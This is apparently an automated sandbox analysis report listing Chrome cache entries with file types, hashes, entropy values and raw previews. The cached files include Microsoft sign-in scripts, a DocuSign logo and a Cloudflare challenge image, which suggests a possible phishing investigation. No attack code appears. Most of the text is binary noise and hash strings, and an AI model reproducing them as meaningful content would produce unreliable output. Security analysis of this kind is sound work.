Preview:	.PNG........IHDR...............kB....sRGB...,...X<IDATx...........Z.c......Z3..... ..P.Dj.hEf...U.......,..B?..F ..+g[..r...-7m.6..Y...9.......=..x...9./8.'o..^.}..k....:.Z.....O....g'........'..j]uE.j....`>...1..9.g..W..e...N..e........u....`..._@8R...Pux......&.....S.R.P-.......Pu.:P..W{...^....X...>R.Q]....:G.}..o..w.C..\...pZ\|..fuY..0.1.jo.t...=._......0..T.].....y.=..=YM..R. ...)...;....`.{...vUO4....@,..9{C......`.=_MU.....}. ......6U......h..jg...............`..m..F{.......L.k...e........~[m...........W.....^....jk...`.L....!..z..0....x..Zm.......$..0T.G....../T.W.G...`.................F.?..X......W_...8..5......`,.....j{...B.L.@.P..:.......a.v...B.....P...VwVW.].`N\....\|..a...88R...Tm........8i.V{........jc.5.....p.>W....0...................0.+.OT....M.......f.......`....P......0....IqeuG.....X......L.7W{...&..........&.......U.U[.........d.....f.../..............x..U.T...T...X..../....s^uK...S.Y]..b..co]...s...J...\.\-.`..........xm.V?..

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57678
Category:	dropped
Size (bytes):	16378
Entropy (8bit):	7.986541062710992
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow647Z1Y8hyJavTiIQslkHC:hOBKJB11Y8heariIQ8ki
MD5:	FC8A7FB6FB26ADEB81D76A33DA13B815
SHA1:	ADEF9857A4FC698836B613252AE8B1FC0EC199DE
SHA-256:	A3D6351A6E93FC23C2A3ABFFCBDC847D42B8781DBFFBCCEEF4FEF72E0D5D4A14
SHA-512:	DE70865494E5D2A32353614CC7D8305CAA83E1605F6BF03C58DD6E19D92FDE8B33B3E26ED3A65D739DEA20984130D39B6E43641B04918CC906DEC17E51B0D582
Malicious:	false
Reputation:	low
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142534
Category:	downloaded
Size (bytes):	49954
Entropy (8bit):	7.99493321471063
Encrypted:	true
SSDEEP:	1536:vr2T/4LxF17O6lJgX3ys65sBcY++i0RumwzV:Cz4LL1imP56m+i+umwzV
MD5:	E16AC075AC754DBD1CF969508220E30D
SHA1:	69A91FF7A1C044231D6D28B4DD4C6AD3D34F2A50
SHA-256:	E8AC3DCEF9E67CC776542A40C71B719D41668DF41D294C1A49A5AD23C5A5B5EC
SHA-512:	12C4E6E5BD999E7BF431DCA707DA4BB5193D2795DD139DCAFC38CAFA757A88F75068D3F2821840068247B9F6CFB55178EF223CDB3349444E622EA4A8E69700A6
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	downloaded
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17531
Entropy (8bit):	7.8782997758684346
Encrypted:	false
SSDEEP:	384:KQhjZSW7lNcDQYxNTlJ6lS3y6dMNw1DDK9LbqpzS3lSx:7SW7ZYhJ6lSC6dMsDDdpzS34x
MD5:	5405D77C51FB46A0CBF26CB96FE4DA4D
SHA1:	32454DFA1AF07952738C877992EFF9D975C36B94
SHA-256:	A0F8CE7A5D5970E38741BAE9BAB7008CE3667987B8F0CF07A902DD9A25F9D0CB
SHA-512:	E1624D12C8C12B1F2A366FA0122C84043D01F3323F9769BAF3DD34A31D6A76BA0328D8F6D96E1EDD24A85E1AD9CE621A3707F250937FDE7EC98291141429DE23
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............x......sBIT....\|.d.....pHYs...F...F.hS .....tEXtSoftware.www.inkscape.org..<... .IDATx...w.dy]..w.....z.&.......!("\.%...k...I?....CP..%.@...J.`.z..E$..{..d........].}.OW....jvgf;VW.........Uof......B.VK...3.R..HJJH.w~..%."...y3..H...a..~.=.....`.cg..K:(.+~.......]+..`N.YIg.....JW........#..%.......H..Ig\S..n......J7.e.\|.......LK.E...o.t\.....%I?.tG...$.a..FS.>A..lQg....(...n...dVW4...w.8.....`....A.c$=V.%...5...K.[..$}Y.W.T...H.....Wp.LT...@.......=s...NC .T.n6...4..4......r......../EI......T:k6.`.....3+..%=E.OIz..;.?..%._%}F.7Yu. ....9vf..'.].$i.l"......\|.J...........y...j....tBR.h(xMK.w.n..U.W.?...../8vfB..$=U..$..M...J...OJ...J....l...<.3cj.._V{.?n6...*..Q.'.T:g8.....x.cg..~V...ICf.!..jO .GI.l....y.M....uN..i....ezp...O.....'"..h..J..zO..lI?'i.l"`K.>%..>..B....\.3.$....}...u.%._._[..E.a..h.`.cg"j..P........h.=_.>m....y.p4.0.3.....<I{....iF..$..J....`...@9v&&..%.H...l. k....{$}.J.k.. @h.0........~S.N.q.7...NI

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1107 x 391, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	11460
Entropy (8bit):	7.570695257048375
Encrypted:	false
SSDEEP:	192:3S7kxV4aS6F4CzlcIGCVTuHMiCXyaOYpukk9dlfFHXvdIdTiWwB1GNHe3333333r:i7kxmAGCmCBYD5F35H1GRe
MD5:	A74F925F8C71704166FFA3433E9B96D5
SHA1:	E621C220C2F75D184DD3202CE6DF1E586BDC3AA5
SHA-256:	326B79B9D1123740137A2EADD44ED4DB857D8A7928F095A385FA1593526471BF
SHA-512:	8B75B9B327371180546E62169A7D589C671423EDD606937BB4B660AAAEAEB93819AD9505A6522AF0BF86C772203986BEF89A85CF3BFDE9C4338E1AFC4E2711CC
Malicious:	false
Reputation:	low
URL:	https://images.ctfassets.net/3fcisxc3a6xz/docusign_logo_black_text_on_white_0.png/90872cd475f92acafc7c490c93976e40/ds-logo-on-white.png
Preview:	.PNG........IHDR...S.........\|.......pHYs.................sRGB.........gAMA......a...,YIDATx...?.].}'.Q`.+.k..Z.Y`....8[.b. .H5vI1u..M.la.... ..p..(6...".b.#IA..c.PZl.1.P*.-Rx...8O...{..}....(.z..9s.=.=..y.........7......&L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L...

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1107 x 391, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11460
Entropy (8bit):	7.570695257048375
Encrypted:	false
SSDEEP:	192:3S7kxV4aS6F4CzlcIGCVTuHMiCXyaOYpukk9dlfFHXvdIdTiWwB1GNHe3333333r:i7kxmAGCmCBYD5F35H1GRe
MD5:	A74F925F8C71704166FFA3433E9B96D5
SHA1:	E621C220C2F75D184DD3202CE6DF1E586BDC3AA5
SHA-256:	326B79B9D1123740137A2EADD44ED4DB857D8A7928F095A385FA1593526471BF
SHA-512:	8B75B9B327371180546E62169A7D589C671423EDD606937BB4B660AAAEAEB93819AD9505A6522AF0BF86C772203986BEF89A85CF3BFDE9C4338E1AFC4E2711CC
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...S.........\|.......pHYs.................sRGB.........gAMA......a...,YIDATx...?.].}'.Q`.+.k..Z.Y`....8[.b. .H5vI1u..M.la.... ..p..(6...".b.#IA..c.PZl.1.P*.-Rx...8O...{..}....(.z..9s.=.=..y.........7......&L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L....h L...

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	dropped
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Reputation:	low
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	downloaded
Size (bytes):	116345
Entropy (8bit):	7.997378915283506
Encrypted:	true
SSDEEP:	3072:svJ27JKT4KNXDBEeFUNHE/7SVxX7RLTMMqfC4:L7KPDBEeF2HE+J5AMqfC4
MD5:	7570EB58C2BCE45B24EA431EB15D27B5
SHA1:	0DE0A6616E6BF7B045CFC456E4E3DF6760617CFA
SHA-256:	5AEE6747482DFC52A669CAED6BE1B9319536AC9514C2D7354B879F093ABB212A
SHA-512:	696D4C3765DA2936461D15C89A41F98EDED30F202C422143D921D6096D7DD6456479F48B1065398323F7DFE60B5D3452B0C3C67DD01EE041E51CFBCA9125D86D
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js
Preview:	...........k{.H.(.}............'qz<..>.3==..G..(..../m..]kU.T......\|x....T.Z...O....T.........e..]../'.o+gp.k.........F....+#..+.{..\|X..J.U.`.F.0...W..7.Ie...J2.Y.~.$.L.8....$...P]4..yQ.P99..P?....?........I%....+^0..&p..2..<........Da...J....F.9<.7.^.+1O.0J..........h1....[....h..............u".....C%.+..\.>....T`.1....... i......8.TB(.Uh.b.{...@<y..D^.S.....n".<H.L..O..*.t........p6..\[...yCm.J.k.....b..vg....-.j.$........1....p~3.b.....n....[_c..{1WN.l~.=...........?......S.}U..g.......t..../...........\|.+...-y.X\...l.....>;."....ye.\.....h..p.f.8...[/..nd.,..O.b>.6-......c7.}.yp.c5.R6p..E...z3.......y7.d.M..K...n.h...OX.&..d.[/...ng.S.Ae..D<.GAe..&.^7......'..b...#..X..q....O.~W.M3.+b..m.>&^t.O..I.LU.;..a....&.k.$...{.{.^.....3OX.Oy8O...f.%..o..]..9....Ln-...'.....A.3y..v=l....G......i..../...--k...p..m..Y........XV...i.......;.o..zyc@..MLoy.b_.,.....5..w=..#.^..M.P.'<_.j...m..\|......0...w../...>\...l.>.....h...q>.w...ZM[...

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	dropped
Size (bytes):	116345
Entropy (8bit):	7.997378915283506
Encrypted:	true
SSDEEP:	3072:svJ27JKT4KNXDBEeFUNHE/7SVxX7RLTMMqfC4:L7KPDBEeF2HE+J5AMqfC4
MD5:	7570EB58C2BCE45B24EA431EB15D27B5
SHA1:	0DE0A6616E6BF7B045CFC456E4E3DF6760617CFA
SHA-256:	5AEE6747482DFC52A669CAED6BE1B9319536AC9514C2D7354B879F093ABB212A
SHA-512:	696D4C3765DA2936461D15C89A41F98EDED30F202C422143D921D6096D7DD6456479F48B1065398323F7DFE60B5D3452B0C3C67DD01EE041E51CFBCA9125D86D
Malicious:	false
Reputation:	low
